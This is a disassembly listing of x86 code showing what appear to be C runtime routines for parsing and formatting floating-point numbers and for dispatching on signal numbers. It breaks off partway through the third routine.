; Attributes: bp-based frame


sub_41AD00	proc near		; CODE XREF: sub_419B4C+17p
					; sub_419B79+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41AD3B:				; CODE XREF: sub_41AD00+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41AD51
		cmp	cl, 9
		jz	short loc_41AD51
		cmp	cl, 0Ah
		jz	short loc_41AD51
		cmp	cl, 0Dh
		jnz	short loc_41AD54


loc_41AD51:				; CODE XREF: sub_41AD00+40j
					; sub_41AD00+45j ...
		inc	edi
		jmp	short loc_41AD3B
; ---------------------------------------------------------------------------


loc_41AD54:				; CODE XREF: sub_41AD00+4Fj
		push	4
		pop	esi


loc_41AD57:				; CODE XREF: sub_41AD00+AEj
					; sub_41AD00+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41AFDA	; default
					; jumptable 0041AD63 case 10
		jmp	ds:off_41B1A1[eax*4] ; switch jump


loc_41AD6A:				; DATA XREF: seg000:off_41B1A1o
		cmp	bl, 31h		; jumptable 0041AD63 case 0
		jl	short loc_41AD7B
		cmp	bl, 39h
		jg	short loc_41AD7B


loc_41AD74:				; CODE XREF: sub_41AD00+C4j
					; sub_41AD00+118j
		push	3
		jmp	loc_41AF98
; ---------------------------------------------------------------------------


loc_41AD7B:				; CODE XREF: sub_41AD00+6Dj
					; sub_41AD00+72j
		cmp	bl, ds:byte_42FA80
		jnz	short loc_41AD8A


loc_41AD83:				; CODE XREF: sub_41AD00+124j
		push	5
		jmp	loc_41AFD0
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: sub_41AD00+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41ADB0
		dec	eax
		dec	eax
		jz	short loc_41ADA4
		sub	eax, 3
		jnz	loc_41B073
		jmp	loc_41AE33
; ---------------------------------------------------------------------------


loc_41ADA4:				; CODE XREF: sub_41AD00+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41AD57
; ---------------------------------------------------------------------------


loc_41ADB0:				; CODE XREF: sub_41AD00+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41AD57
; ---------------------------------------------------------------------------


loc_41ADB9:				; CODE XREF: sub_41AD00+63j
					; DATA XREF: seg000:off_41B1A1o
		cmp	bl, 31h		; jumptable 0041AD63 case 1
		mov	[ebp+var_10], edx
		jl	short loc_41ADC6
		cmp	bl, 39h
		jle	short loc_41AD74


loc_41ADC6:				; CODE XREF: sub_41AD00+BFj
		cmp	bl, ds:byte_42FA80
		jz	loc_41AE8E
		cmp	bl, 2Bh
		jz	short loc_41AE08
		cmp	bl, 2Dh
		jz	short loc_41AE08
		cmp	bl, 30h
		jz	short loc_41AE33


loc_41ADE1:				; CODE XREF: sub_41AD00+207j
		cmp	bl, 43h
		jle	loc_41B073
		cmp	bl, 45h
		jle	short loc_41AE01
		cmp	bl, 63h
		jle	loc_41B073
		cmp	bl, 65h
		jg	loc_41B073


loc_41AE01:				; CODE XREF: sub_41AD00+EDj
		push	6
		jmp	loc_41AFD0
; ---------------------------------------------------------------------------


loc_41AE08:				; CODE XREF: sub_41AD00+D5j
					; sub_41AD00+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41AFD0
; ---------------------------------------------------------------------------


loc_41AE10:				; CODE XREF: sub_41AD00+63j
					; DATA XREF: seg000:off_41B1A1o
		cmp	bl, 31h		; jumptable 0041AD63 case 2
		jl	short loc_41AE1E
		cmp	bl, 39h
		jle	loc_41AD74


loc_41AE1E:				; CODE XREF: sub_41AD00+113j
		cmp	bl, ds:byte_42FA80
		jz	loc_41AD83
		cmp	bl, 30h
		jnz	loc_41AFE8


loc_41AE33:				; CODE XREF: sub_41AD00+9Fj
					; sub_41AD00+DFj
		mov	eax, edx
		jmp	loc_41AD57
; ---------------------------------------------------------------------------


loc_41AE3A:				; CODE XREF: sub_41AD00+63j
					; DATA XREF: seg000:off_41B1A1o
		mov	[ebp+var_10], edx ; jumptable 0041AD63 case 3


loc_41AE3D:				; CODE XREF: sub_41AD00+184j
		cmp	ds:dword_42FA7C, edx
		jle	short loc_41AE56
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_414896
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41AE64
; ---------------------------------------------------------------------------


loc_41AE56:				; CODE XREF: sub_41AD00+143j
		mov	ecx, ds:off_42F870
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41AE64:				; CODE XREF: sub_41AD00+154j
		test	eax, eax
		jz	short loc_41AE86
		cmp	[ebp+var_4], 19h
		jnb	short loc_41AE7E
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41AE81
; ---------------------------------------------------------------------------


loc_41AE7E:				; CODE XREF: sub_41AD00+16Cj
		inc	[ebp+var_8]


loc_41AE81:				; CODE XREF: sub_41AD00+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41AE3D
; ---------------------------------------------------------------------------


loc_41AE86:				; CODE XREF: sub_41AD00+166j
		cmp	bl, ds:byte_42FA80
		jnz	short loc_41AEF5


loc_41AE8E:				; CODE XREF: sub_41AD00+CCj
		mov	eax, esi
		jmp	loc_41AD57
; ---------------------------------------------------------------------------


loc_41AE95:				; CODE XREF: sub_41AD00+63j
					; DATA XREF: seg000:off_41B1A1o
		cmp	[ebp+var_4], 0	; jumptable 0041AD63 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41AEAE


loc_41AEA1:				; CODE XREF: sub_41AD00+1ACj
		cmp	bl, 30h
		jnz	short loc_41AEAE
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41AEA1
; ---------------------------------------------------------------------------


loc_41AEAE:				; CODE XREF: sub_41AD00+19Fj
					; sub_41AD00+1A4j ...
		cmp	ds:dword_42FA7C, edx
		jle	short loc_41AEC7
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_414896
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41AED5
; ---------------------------------------------------------------------------


loc_41AEC7:				; CODE XREF: sub_41AD00+1B4j
		mov	ecx, ds:off_42F870
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41AED5:				; CODE XREF: sub_41AD00+1C5j
		test	eax, eax
		jz	short loc_41AEF5
		cmp	[ebp+var_4], 19h
		jnb	short loc_41AEF0
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_41AEF0:				; CODE XREF: sub_41AD00+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41AEAE
; ---------------------------------------------------------------------------


loc_41AEF5:				; CODE XREF: sub_41AD00+18Cj
					; sub_41AD00+1D7j
		cmp	bl, 2Bh
		jz	loc_41AE08
		cmp	bl, 2Dh
		jz	loc_41AE08
		jmp	loc_41ADE1
; ---------------------------------------------------------------------------


loc_41AF0C:				; CODE XREF: sub_41AD00+63j
					; DATA XREF: seg000:off_41B1A1o
		cmp	ds:dword_42FA7C, edx ; jumptable 0041AD63 case 5
		mov	[ebp+var_24], edx
		jle	short loc_41AF28
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_414896
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41AF36
; ---------------------------------------------------------------------------


loc_41AF28:				; CODE XREF: sub_41AD00+215j
		mov	ecx, ds:off_42F870
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41AF36:				; CODE XREF: sub_41AD00+226j
		test	eax, eax
		jz	loc_41AFE8
		mov	eax, esi
		jmp	short loc_41AF99
; ---------------------------------------------------------------------------


loc_41AF42:				; CODE XREF: sub_41AD00+63j
					; DATA XREF: seg000:off_41B1A1o
		lea	ecx, [edi-2]	; jumptable 0041AD63 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41AF52
		cmp	bl, 39h
		jle	short loc_41AF96


loc_41AF52:				; CODE XREF: sub_41AD00+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41AFCE
		dec	eax
		dec	eax
		jz	short loc_41AFC2
		sub	eax, 3
		jnz	loc_41B076


loc_41AF67:				; CODE XREF: sub_41AD00+2A4j
		push	8
		jmp	short loc_41AFD0
; ---------------------------------------------------------------------------


loc_41AF6B:				; CODE XREF: sub_41AD00+63j
					; DATA XREF: seg000:off_41B1A1o
		mov	[ebp+var_20], edx ; jumptable 0041AD63 case 8


loc_41AF6E:				; CODE XREF: sub_41AD00+276j
		cmp	bl, 30h
		jnz	short loc_41AF78
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41AF6E
; ---------------------------------------------------------------------------


loc_41AF78:				; CODE XREF: sub_41AD00+271j
		cmp	bl, 31h
		jl	loc_41B073
		cmp	bl, 39h
		jg	loc_41B073
		jmp	short loc_41AF96
; ---------------------------------------------------------------------------


loc_41AF8C:				; CODE XREF: sub_41AD00+63j
					; DATA XREF: seg000:off_41B1A1o
		cmp	bl, 31h		; jumptable 0041AD63 case 7
		jl	short loc_41AF9F
		cmp	bl, 39h
		jg	short loc_41AF9F


loc_41AF96:				; CODE XREF: sub_41AD00+250j
					; sub_41AD00+28Aj
		push	9


loc_41AF98:				; CODE XREF: sub_41AD00+76j
		pop	eax


loc_41AF99:				; CODE XREF: sub_41AD00+240j
		dec	edi
		jmp	loc_41AD57
; ---------------------------------------------------------------------------


loc_41AF9F:				; CODE XREF: sub_41AD00+28Fj
					; sub_41AD00+294j
		cmp	bl, 30h
		jnz	short loc_41AFE8
		jmp	short loc_41AF67
; ---------------------------------------------------------------------------


loc_41AFA6:				; CODE XREF: sub_41AD00+63j
					; DATA XREF: seg000:off_41B1A1o
		cmp	[ebp+arg_18], 0	; jumptable 0041AD63 case 11
		jz	short loc_41AFD6
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41AFCE
		dec	eax
		dec	eax
		jnz	loc_41B076


loc_41AFC2:				; CODE XREF: sub_41AD00+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41AD57
; ---------------------------------------------------------------------------


loc_41AFCE:				; CODE XREF: sub_41AD00+258j
					; sub_41AD00+2B8j
		push	7


loc_41AFD0:				; CODE XREF: sub_41AD00+85j
					; sub_41AD00+103j ...
		pop	eax
		jmp	loc_41AD57
; ---------------------------------------------------------------------------


loc_41AFD6:				; CODE XREF: sub_41AD00+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_41AFDA:				; CODE XREF: sub_41AD00+5Dj
					; sub_41AD00+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041AD63 case 10
		jz	loc_41B078
		jmp	loc_41AD57
; ---------------------------------------------------------------------------


loc_41AFE8:				; CODE XREF: sub_41AD00+12Dj
					; sub_41AD00+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41B078
; ---------------------------------------------------------------------------


loc_41AFF0:				; CODE XREF: sub_41AD00+63j
					; DATA XREF: seg000:off_41B1A1o
		mov	[ebp+var_20], 1	; jumptable 0041AD63 case 9
		xor	esi, esi


loc_41AFF9:				; CODE XREF: sub_41AD00+339j
		cmp	ds:dword_42FA7C, 1
		jle	short loc_41B011
		movzx	eax, bl
		push	4
		push	eax
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_41B020
; ---------------------------------------------------------------------------


loc_41B011:				; CODE XREF: sub_41AD00+300j
		mov	ecx, ds:off_42F870
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41B020:				; CODE XREF: sub_41AD00+30Fj
		test	eax, eax
		jz	short loc_41B040
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41B03B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41AFF9
; ---------------------------------------------------------------------------


loc_41B03B:				; CODE XREF: sub_41AD00+334j
		mov	esi, 1451h


loc_41B040:				; CODE XREF: sub_41AD00+322j
		mov	[ebp+var_1C], esi


loc_41B043:				; CODE XREF: sub_41AD00+371j
		cmp	ds:dword_42FA7C, 1
		jle	short loc_41B05B
		movzx	eax, bl
		push	4
		push	eax
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_41B06A
; ---------------------------------------------------------------------------


loc_41B05B:				; CODE XREF: sub_41AD00+34Aj
		mov	ecx, ds:off_42F870
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41B06A:				; CODE XREF: sub_41AD00+359j
		test	eax, eax
		jz	short loc_41B073
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41B043
; ---------------------------------------------------------------------------


loc_41B073:				; CODE XREF: sub_41AD00+99j
					; sub_41AD00+E4j ...
		dec	edi
		jmp	short loc_41B078
; ---------------------------------------------------------------------------


loc_41B076:				; CODE XREF: sub_41AD00+261j
					; sub_41AD00+2BCj
		mov	edi, ecx


loc_41B078:				; CODE XREF: sub_41AD00+2DDj
					; sub_41AD00+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41B160
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41B0A4
		cmp	[ebp+var_45], 5
		jl	short loc_41B098
		inc	[ebp+var_45]


loc_41B098:				; CODE XREF: sub_41AD00+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41B0A7
; ---------------------------------------------------------------------------


loc_41B0A4:				; CODE XREF: sub_41AD00+38Dj
		mov	eax, [ebp+var_C]


loc_41B0A7:				; CODE XREF: sub_41AD00+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41B156


loc_41B0B1:				; CODE XREF: sub_41AD00+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41B0BF
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41B0B1
; ---------------------------------------------------------------------------


loc_41B0BF:				; CODE XREF: sub_41AD00+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_41AC39
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41B0DE
		neg	eax


loc_41B0DE:				; CODE XREF: sub_41AD00+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41B0E9
		add	eax, [ebp+arg_10]


loc_41B0E9:				; CODE XREF: sub_41AD00+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41B0F1
		sub	eax, [ebp+arg_14]


loc_41B0F1:				; CODE XREF: sub_41AD00+3ECj
		cmp	eax, 1450h
		jle	short loc_41B128
		mov	[ebp+var_2C], 1


loc_41B0FF:				; CODE XREF: sub_41AD00+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_41B10B:				; CODE XREF: sub_41AD00+454j
					; sub_41AD00+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41B171
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41B186
; ---------------------------------------------------------------------------


loc_41B128:				; CODE XREF: sub_41AD00+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41B138
		mov	[ebp+var_30], 1
		jmp	short loc_41B0FF
; ---------------------------------------------------------------------------


loc_41B138:				; CODE XREF: sub_41AD00+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41B9B9
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41B10B
; ---------------------------------------------------------------------------


loc_41B156:				; CODE XREF: sub_41AD00+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41B10B
; ---------------------------------------------------------------------------


loc_41B160:				; CODE XREF: sub_41AD00+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41B186
; ---------------------------------------------------------------------------


loc_41B171:				; CODE XREF: sub_41AD00+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41B186
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41B186:				; CODE XREF: sub_41AD00+426j
					; sub_41AD00+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41AD00	endp

; ---------------------------------------------------------------------------
off_41B1A1	dd offset loc_41AD6A	; DATA XREF: sub_41AD00+63r
		dd offset loc_41ADB9	; jump table for switch	statement
		dd offset loc_41AE10
		dd offset loc_41AE3A
		dd offset loc_41AE95
		dd offset loc_41AF0C
		dd offset loc_41AF42
		dd offset loc_41AF8C
		dd offset loc_41AF6B
		dd offset loc_41AFF0
		dd offset loc_41AFDA
		dd offset loc_41AFA6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B1D1	proc near		; CODE XREF: sub_419C1D+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41B233
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41B237
; ---------------------------------------------------------------------------


loc_41B233:				; CODE XREF: sub_41B1D1+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41B237:				; CODE XREF: sub_41B1D1+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41B25D
		test	edi, edi
		jnz	short loc_41B25D
		cmp	[ebp+arg_0], edi
		jnz	short loc_41B25D


loc_41B248:				; CODE XREF: sub_41B1D1+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41B45B
; ---------------------------------------------------------------------------


loc_41B25D:				; CODE XREF: sub_41B1D1+6Cj
					; sub_41B1D1+70j ...
		cmp	dx, si
		jnz	short loc_41B2DC
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41B276
		cmp	[ebp+arg_0], 0
		jz	short loc_41B285


loc_41B276:				; CODE XREF: sub_41B1D1+9Dj
		test	edi, 40000000h
		jnz	short loc_41B285
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41B2CB
; ---------------------------------------------------------------------------


loc_41B285:				; CODE XREF: sub_41B1D1+A3j
					; sub_41B1D1+ABj
		test	cx, cx
		jz	short loc_41B29F
		cmp	edi, 0C0000000h
		jnz	short loc_41B29F
		cmp	[ebp+arg_0], 0
		jnz	short loc_41B2C6
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41B2AE
; ---------------------------------------------------------------------------


loc_41B29F:				; CODE XREF: sub_41B1D1+B7j
					; sub_41B1D1+BFj
		cmp	edi, eax
		jnz	short loc_41B2C6
		cmp	[ebp+arg_0], 0
		jnz	short loc_41B2C6
		push	offset a1Inf	; "1#INF"


loc_41B2AE:				; CODE XREF: sub_41B1D1+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_412FC0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_41B2BD:				; CODE XREF: sub_41B1D1+109j
		and	[ebp+var_4], 0
		jmp	loc_41B434
; ---------------------------------------------------------------------------


loc_41B2C6:				; CODE XREF: sub_41B1D1+C5j
					; sub_41B1D1+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_41B2CB:				; CODE XREF: sub_41B1D1+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_412FC0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_41B2BD
; ---------------------------------------------------------------------------


loc_41B2DC:				; CODE XREF: sub_41B1D1+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B9B9
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_41B33D
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B799
		pop	ecx
		pop	ecx


loc_41B33D:				; CODE XREF: sub_41B1D1+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41B357
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41B35A
		jmp	loc_41B248
; ---------------------------------------------------------------------------


loc_41B357:				; CODE XREF: sub_41B1D1+173j
		mov	edi, [ebp+arg_C]


loc_41B35A:				; CODE XREF: sub_41B1D1+17Fj
		cmp	edi, 15h
		jle	short loc_41B362
		push	15h
		pop	edi


loc_41B362:				; CODE XREF: sub_41B1D1+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_41B378:				; CODE XREF: sub_41B1D1+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41ABDE
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41B378
		test	esi, esi
		jge	short loc_41B3A2
		neg	esi
		and	esi, 0FFh
		jle	short loc_41B3A2


loc_41B395:				; CODE XREF: sub_41B1D1+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41AC0C
		dec	esi
		pop	ecx
		jnz	short loc_41B395


loc_41B3A2:				; CODE XREF: sub_41B1D1+1B8j
					; sub_41B1D1+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_41B3FF
		mov	[ebp+arg_C], ecx


loc_41B3B2:				; CODE XREF: sub_41B1D1+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41ABDE
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41ABDE
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41AB80
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41ABDE
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_41B3B2
		mov	eax, [ebp+arg_14]


loc_41B3FF:				; CODE XREF: sub_41B1D1+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41B43C


loc_41B40C:				; CODE XREF: sub_41B1D1+248j
		cmp	eax, ecx
		jb	short loc_41B41F
		cmp	byte ptr [eax],	39h
		jnz	short loc_41B41B
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41B40C
; ---------------------------------------------------------------------------


loc_41B41B:				; CODE XREF: sub_41B1D1+242j
		cmp	eax, ecx
		jnb	short loc_41B423


loc_41B41F:				; CODE XREF: sub_41B1D1+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_41B423:				; CODE XREF: sub_41B1D1+24Cj
		inc	byte ptr [eax]


loc_41B425:				; CODE XREF: sub_41B1D1+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41B434:				; CODE XREF: sub_41B1D1+F0j
		mov	eax, [ebp+var_4]


loc_41B437:				; CODE XREF: sub_41B1D1+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B43C:				; CODE XREF: sub_41B1D1+239j
					; sub_41B1D1+275j
		cmp	eax, ecx
		jb	short loc_41B44C
		cmp	byte ptr [eax],	30h
		jnz	short loc_41B448
		dec	eax
		jmp	short loc_41B43C
; ---------------------------------------------------------------------------


loc_41B448:				; CODE XREF: sub_41B1D1+272j
		cmp	eax, ecx
		jnb	short loc_41B425


loc_41B44C:				; CODE XREF: sub_41B1D1+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_41B45B:				; CODE XREF: sub_41B1D1+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41B437
sub_41B1D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B464	proc near		; CODE XREF: sub_419DDC+21p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_41B4CB
		dec	eax
		dec	eax
		jz	short loc_41B4BC
		sub	eax, 4
		jz	short loc_41B4BC
		sub	eax, 3
		jz	short loc_41B4BC
		sub	eax, 4
		jz	short loc_41B4AF
		sub	eax, 6
		jz	short loc_41B4A2
		dec	eax
		jz	short loc_41B495
		or	eax, 0FFFFFFFFh
		jmp	loc_41B58D
; ---------------------------------------------------------------------------


loc_41B495:				; CODE XREF: sub_41B464+27j
		mov	esi, ds:dword_461264
		mov	eax, offset dword_461264
		jmp	short loc_41B4D6
; ---------------------------------------------------------------------------


loc_41B4A2:				; CODE XREF: sub_41B464+24j
		mov	esi, ds:dword_461260
		mov	eax, offset dword_461260
		jmp	short loc_41B4D6
; ---------------------------------------------------------------------------


loc_41B4AF:				; CODE XREF: sub_41B464+1Fj
		mov	esi, ds:dword_461268
		mov	eax, offset dword_461268
		jmp	short loc_41B4D6
; ---------------------------------------------------------------------------


loc_41B4BC:				; CODE XREF: sub_41B464+10j
